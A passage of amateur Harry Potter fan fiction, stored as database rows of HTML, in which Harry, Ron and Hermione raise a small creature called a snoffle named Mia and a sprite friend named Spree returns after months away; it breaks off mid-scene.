\nThey\'re called.."</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Everyone\nheld their breath.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"Snoffles."\n</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"Snoffles?"  Someone snorted and everyone started\nlaughing.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Hagrid\nlet out a hearty chuckle, "Yeah snoffles. \nThey\'re weird things they are. \nYou never know what they\'ll get up to, it all depends on their own\npersonalities.  I want yah to pair up\ninto threes and then you can choose a snoffle. \nYour group has to take care of \'em and you get graded at the end.  You\'ll have ta come down in yer own time\ntoo." he said which made some people let out a few groans.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">{AN: In\nthis story Gryffindors have Care of Magical Creatures with Hufflepuffs}</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Harry\nglanced at Hermione, who looked postitively thrilled and groaned, "Alright\nlet\'s go choose a snoffle shall we?" he asked Ron, who looked as thrilled\nas Harry felt.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">The three\napproached Hagrid who opened a box and said, "Pick one." </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Hermione\nleaned forward, "Aw!! They\'re so cute!" she said and reached down for\none that was reaching towards her, "Hello." she said and hugged it as\nit snuggled into her, "This one." she said.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Harry and\nRon shrugged and followed her as she led them away, still cuddling the snoffle.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"Aren\'t\nyou just the cutest?" she cooed, tickling it under the chin.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">It was\ndefinetly cute, even Harry had to admit that. \nIt was a little grey fluffy creature. \nIt had little rounded ears and a little pink button nose.  It had big blue eyes, but not all of them\ndid, and little hands like a little human child.  It was about the size of a 3 month old baby and had a long tail\nthat curled around peoples arms.  It\nseemed a bit like a teddy to Harry.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"I\nthought I was the cutest."  Harry\npouted, folding his arms.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Hermione giggled\nand gave him a little kiss on the cheek, "Fine you\'re the cutest human and\nthis little thing is the cutest snoffle ever."</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Ron\nchuckled a little, "Watch out Harry. \nIt\'s moving in on your turf."</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">The\nsnoffle hopped out of Hermiones hands and walked, a little unsteadily, over to\nHarry who caught it as it tripped.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"Hello\nlittle one."  Harry said smiling at\nit.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">It\nreached up and grabbed onto Harrys hair, "Eah!" it squealed happily\nand wrapped its tail around Harrys hand as it hugged him.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Ron laughed\nloudly, "I think someones got a crush on you Harry.  Maybe it\'s Hermione who\'d better watch\nout."</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Harry\nlaughed a little embarrassed.  The\nsnoffle let go but just turned around and sat down on Harrys lap happily\nsaying, "Eah!" again.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Hagrid\ncame up behind them, "\'ello there you three.  What are you going to call this little one?"  Hagrid asked spotting the snoffle sitting on\nHarrys lap.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Hermione\ngiggled, "It\'s taken to Harry." she said.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Harry\nlaughed a little embarrassed again, "Heh. \nYeah...wonder why?"</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Hagrid\npatted him on the shoulder, "Who knows? \nSo yours\'d be a girl then." \nHagrid said, "the girls are the ones who usually use their tails to\nlock onto people.  They boys are more\nindependant." </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Ron\ngroaned, "Does that mean we got a girl who needs to be taken care of all\nthe time instead of an independant boy?"</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Hagrid\nshook his head, "Better to get a girl than a boy believe it or not.  The girls are easier to handle."</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Hermione\ngave Ron a superior look, "They always are." she said which got\nHagrid roaring with laughter.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"Atishoo."\nthe snoffle sneezed suddenly. </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"You\nalright there?" Harry asked looking at the snoffle again.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"Eah!"\nit said and hugged him again.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"Aw\nman....."Harry sighed.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"We\nneed to think of a name for her.  She\ncan\'t walk around being nameless." \nHermione said.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"How\nabout Harrys girl?"  Ron teased,\nand recieved a glare from Harry.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"Miiiiiiiia."  the snoffle said suddenly.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"Mia?"\nHarry asked.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"Eah!"\nit squealed and hugged Harry.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"Uh...Mia\nsound okay to you two?"  Harry\nasked giving Mia a pat on the head.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"It\'s\nperfect!"  Hermione giggled,\n"Hiya Mia." she said, tickling Mia who squealed happily.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"Miiiiiiiiiia!"\nMia squealed.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"Spree\nhow come you keep disappearing for days on end?"  Harry asked Spree later that night.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"Well...you\nsee...actually it\'s kind of difficult to explain.."Spree said, sighing,\n"I\'m in trouble..."</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"What\nfor?"  Harry asked concerned.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"Well...I\nkind of...broke something by accident and now I\'m in trouble about it.  I really didn\'t mean to..but now they\'re\nsaying I\'m going to have to work to pay it off...and that could take\nmonths!"  Spree said nearly in\ntears.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"Don\'t\ncry Spree."  Harry said, "It\'ll\nbe okay.  I\'ll pay for it for you."\nhe said.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Spree\nsniffed and smiled at him, "Aw Harry that\'s sweet but you can\'t...it\'s not\nthat sort of paying...I\'ll have to work at the palace for 6 months!  And I won\'t be able to come to you...and\nthat means that you\'ll be on your own." she said starting to cry again.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"I\nwon\'t be on my own.  Don\'t worry about\nit.  You just take care of\nyourself."  Harry said soothingly.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Spree\nsniffed again and smiled, "Thanks Harry...I\'ll try and visit you again in\na while alright?"  </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Harry\nnodded and gave her a little pat on the head, "I\'ll see you then." he\nsaid and watched as she fluttered brighter and brighter and then disappeared.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"So\nshe won\'t be back for 6 months??" Hermione asked, "Aw that\'s so\nsad."</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Harry\nnodded, "I know...but she said she\'d try and visit soon."</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Hermione\ngave Harry a hug and then kissed him on the lips softly, "I love you.  You always look on the bright side of\nthings." she said when they\'d pulled back.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Harry\ngently let his forehead rest against hers, "I love you too." he said\nand just held her in his arms.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"Come\nhere Mia!"  Harry said peeking\naround the tree. </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"Eah!"  she squealed and ran away, Harry laughing\nchased her and quickly caught her.  He\nthen proceeded to tickle her.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Harry\nlaughed and let her up, "Mia!" she said and hugged his leg then ran\nover to Hermione who was talking to Ron and hugged her and then Ron.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"H-H-Ha-harry."  Mia said, her eyes widening.  </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"What?"  Harry asked sitting down beside her.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"I\ndidn\'t say anything."  Hermione\nsaid giving him a quizzical look.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"H-ha-harry!"  Mia said again.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Harry\nraised his eyebrows, "She said Harry!" he exclaimed, "She said\nmy name!" </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Ron\ngrinned, "Can you say Ron? \nRon?" he asked.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"R-r-ron!"  Mia said then squealed happily.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"Hermione?  Hermione?"  Hermione asked.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"Her-hermi-hermi-"  Mia said not able finished.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"Her-my-oh-knee."  Hermione repeated.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"Mi-mione."  Mia said and looked estactic, "H-harry,\nR-ron, M-mione!" she repeated.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"Hagrid!\nMia talked!  She said our\nnames!"  Harry said waving Hagrid\nover.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"Harry!"  Mia said hugging Harry again, much to\neveryone but Harry\'s amusement.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"Is\nshe always going to hug me?"  he\nasked Hagrid.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Hagrid\ngrinned, "I don\'t know.  It\'s up to\nMia."</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"Can\nyou say Hagrid?"  Harry asked Mia.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"Hagurid."  Mia said pronouncing each syllable.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Hagrid beamed,\n"She\'s a smart one is that Mia. \nAnd she really seems to like you Harry."</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Harry\nmade a face as Mia hugged him again, "I noticed." he said dryly,\n"I noticed."</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Hermione\nmoved so she was sitting beside him and cuddled up to him, "I think\nnothing\'s more sexy than a man who\'s adored by little...er snoffles."</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Ron and\nHagrid exchanged amused glances at this remark and Harry just laughed and gave\nher a kiss.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Mia\nshoved her way inbetween Harry and Hermione and hugged Harry again who moaned\nand gave in giving her a hug back.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"I\nthink someone has a crush."  Hagrid\nteased, making Harry blush.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"She\ndoes not."</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"I\nwas talking about you."</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"HEY!"  Harry said, mock offended, "I do not\nhave a crush on Mia!! I have a crush on Mione." </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Hermione\ngiggled, "Everyone loves the Boy-who-lived." </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Harry\nmade a face, and gave Mia another pat on the head, "I\'d prefer if they\nloved Harry." he said dryly.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"Well\nI do." she said and kissed him again.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Well I\ngot that one out fast!  I think so\nanyway!!  I’ve been so loaded down with\nhomework!  I hope you all enjoyed that!!\nI didn\'t go too over on Mia did I?? Well let me know with a nice REVIEW *hint\nhint</p>\n<p class="MsoNormal">!!'),
	(136, 5, '\n\n\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Disclaimer: I don\'t own these characters or\nclaim to.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Author Note:&nbsp;\nWell I\'m definetly back at school now.&nbsp;\nHomework is being thrown on me so much!&nbsp;\nSo that\'s why this chapter took a while to get out.&nbsp; Everyone who reviewed you\'re all great!&nbsp; I hope you all enjoy this chapter!!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Chapter\n5</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry sighed loudly, but it was a happy\nsigh.&nbsp; He gently nuzzled Hermiones\nshoulder from his position on the couch.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Hi.&quot;&nbsp; Hermione said, smiling at him as she looked over at him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Hi.&quot; he chuckled.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;What are you thinking about?&quot; she\nasked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I was thinking about Spree.&nbsp; It\'s been five months you know...and she\nsaid she\'d try and visit and I haven\'t seen her once.&nbsp; I\'m a bit worried.&quot; he said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione frowned a bit, &quot;I know...I\'m sure\nshe\'s just busy.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Yeah.&nbsp;\nI hope your right.&quot; Harry said wrapping his arm around her waist\nand pulling her closer.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Me too.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry woke up with a start.&nbsp; He could hear someone calling his name\nurgently.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Harry!&nbsp;\nHarry!!!&quot; the voice whispered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry looked to his left and saw Spree standing\non his bed side table looking happy but a tad annoyed that it had taken so long\nfor him to wake up.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Spree!&quot; he whispered sitting up and\nleaning over so he could hear her better, &quot;Hi!&nbsp; How are you?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Spree grinned, &quot;I\'m GREAT!&nbsp; I got the debt payed off!&nbsp; I\'m soo glad!&nbsp; I\'ll be so much more careful next time!! And have I got a suprise\nfor you!&nbsp; Or should I say...a suprise\nfor Hermione!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;For Hermione?&quot;&nbsp; Harry asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Spree nodded and flopped down in a pile on his\nquill, &quot;I\'ve got this friend..and she wants to see what I do here.&nbsp; So I thought...maybe Hermione would like a\nsprite friend?&quot; she asked, a hopeful look on her face.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I bet she\'d love one!&quot;&nbsp; Harry exclaimed, &quot;That\'d be\ngreat!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Spree giggled, &quot;Great!&nbsp; Now tell me...how IS Hermione?&quot; she\nasked giving him a knowing look.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry blushed a little, &quot;Fine.&quot; he\nsaid.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;And Mia?&quot;&nbsp; Spree asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Ah..yes Mia...she\'s grown.&quot;he said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Still hugging you?&quot; Spree teased.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Unfortunetly...&quot; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Spree laughed outright at the look on Harrys\nface.&nbsp; It was one that if it were words\nwould be\n\'I\'m-really-quite-pleased-that-Mia-likes-me-but-I-don\'t-want-her-to-hug-me.&nbsp; It-recks-my-image.\' </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry made a face, &quot;Alright so what\'s this\nfriend of yours\' name?&quot; he asked changing the subject.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Oh you\'re going to like it.&quot; Spree\nsaid knowingly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;What is it?&quot; he asked skeptical.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Mya.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Oh dear god..Mia, Mya and Mione.&quot; he\nwhined.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Spree giggled nodding, &quot;Thought you\'d\nbe...pleased.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Oh I\'m boucing off the walls.&quot; he\nsaid sarcastically.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Spree stuck her tongue out at him, &quot;You\'ve\nbecome rude while I was away!&quot; she exclaimed suddenly, &quot;I\'m going to\nhave to tell Hermione to yank that chain of yours more often.&nbsp; The lock is becoming rusty!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I am NOT under lock and key!&quot;&nbsp; Harry said defensvely.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Of course your not dear.&quot;&nbsp; Spree said patronisingly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry sulked, &quot;I\'m not.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Yank yank.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;One for me?&quot; Hermione squealed\nhappily jumping up and down, &quot;What\'s her name?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Mya.&quot;&nbsp; Harry said raising an eyebrow, &quot;You\'re really pleased\nhuh?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione nodded, &quot;Course I am!!&quot; She\nbent over to pick Mia up, who had been tugging at Hermiones leg for a minute.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry gave Mia a small pat on the head,\n&quot;I\'m glad.&quot; he said smiling and leaned in to gently kiss Hermione on\nthe lips.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione smiled and then passed him Mia,\n&quot;She\'s hungry.&quot; she said, &quot;And you\'re the only one who can feed\nher.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Mia smiled happily, &quot;I wuv Harry.&quot;\nshe said hugging him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry laughed awkwardly, &quot;What have you\nbeen teaching her?&quot; he asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione laughed loudly, &quot;Actually she\npicked that up herself.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I don\'t belive you.&quot; Harry said and\nHermione just gave him a cheeky smile.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Alright then Mia.&nbsp; Lunch time.&quot; he said sitting down\ncrossed legged and held up a bottle of Snoffle formula.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She opened her mouth and gently suckled on the\ntip.&nbsp; When she had finished the bottle\nHarry lifted her up and gently rubbed her back, Mia let out a little burp and\nthen a giggle.&nbsp; Harry smiled down at her\nfondly, &quot;Nap time.&quot; he said quietly, rocking her from side to side.</p>\n\n<p class="MsoNormal">Mia yawned and grabbed onto his hand with her\ntail and instantly fell asleep.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Aw what a good surrogate father you\nare.&quot; someone said from behind him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry looked to the right and saw Spree perched\non his shoulder, &quot;Thanks.&quot; he said, pride filled his voice.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Spree giggled, &quot;She\'s cute.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I know.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;You\'re cute!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I kn-wait..thanks.&quot; Harry laughed\nquietly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione approached Harry from the left,\n&quot;Hey Spree.&quot; she said quietly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Hi Hermione!&nbsp; Has Harry told you about Mya yet?&quot; Spree asked, fluttering\nover to Harrys other shoulder so she could talk to Hermione easier.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Yeah.&nbsp;\nThat\'s so great!&nbsp; I can\'t wait to\nmeet her!&quot;&nbsp; Hemione said\nsmiling.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Spree fluttered down onto Harrys hand as\nHermione inched closer to Harry who smiled and looked up at her, planting a\nkiss on her lips before looking back down at Mia.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;She\'s so cute.&quot;&nbsp; Spree said looking down at her, &quot;She\nlooks just like you Harry!&quot; she said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry laughed, &quot;Gee thanks.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I mean she\'s got your messy hair.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;It\'s called <i>fur</i>.&quot; Harry said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Fur, hair, same difference!&quot;&nbsp; Spree said ignoring the look he was giving\nher.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Hmph.&quot;&nbsp; Harry said, sulking a little.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Well I think your messy hair is\nsexy.\'&nbsp; Hermione said running a hand\nthrough it and giving him a kiss on the cheek.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry smiled a leaned over so he could press\nhis lips gently against Hermiones, &quot;You always know what to say to make me\nfeel better.&quot; he said smiling and resting his forehead against hers.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Spree turned around and looked at Harry,\n&quot;You know...&quot; she said thoughtfully, &quot;You\'d make a good\nfather.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry looked down at Spree and spluttered,\n&quot;Father?&quot; he choked and then looked at Hermione frantically,\n&quot;There\'s nothing that you want to tell me is there?&nbsp; Nothing that Spree is hinting at?&quot; he asked,\nfully panicked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione laughed loudly at the look of fright\non Harrys face, &quot;No nothing hon.&nbsp;\nSpree was just commenting weren\'t you Spree?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Spree gave Harry a thoughtful look and turned\nback around to look at Mia, &quot;Mmm.&quot; she said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry gave Hermione a freaked out look,\n&quot;You don\'t sound too sure.&quot; he said nervously.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Spree raised an eyebrow, put her hands on her\nhips and said, &quot;Well I am!&nbsp; It was\na comment that you\'re supposed to be pleased about.&nbsp; Now quit freaking out like a little three year old!&quot; she\nsaid flatly, putting him in his place, then turning to Hermione she said,\n&quot;What have I told you about putting him in his place?&quot; she demanded,\n&quot;Pull on the chain!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry glared at her, &quot;I\'m not on a chain!!&nbsp; Stop saying that!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Spree shook her head at Harry patronisingly,\n&quot;Of course you\'re not dear.&nbsp; I\nwon\'t say it again.&quot; she said giving him a false smile and then giving\nHermione a \'You-know-what-I-mean\' look.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I\'m not on a chain.&quot; Harry muttered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione slid her arm through his, &quot;Of\ncourse you\'re not.&quot; she said soothingly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I\'m not you know.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I know.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Because I\'m my own-&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Harry.&quot;&nbsp; Hermione interrupeted, &quot;I know.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Good.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Miiiiiiiiiiiiiiiiia!&quot;&nbsp; Mia squealed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry froze and turned around, &quot;No no\nno!&nbsp; Mia what are you doing here!&nbsp; You\'re supposed to stay with Hagrid!&quot;\nhe said picking the little snoffle up before she was stepped on by passing\nstudents.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Harry!&nbsp;\nMia!&quot; She said happily and hugged him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Uh...what a nightmare.&nbsp; Come on then...I\'ll 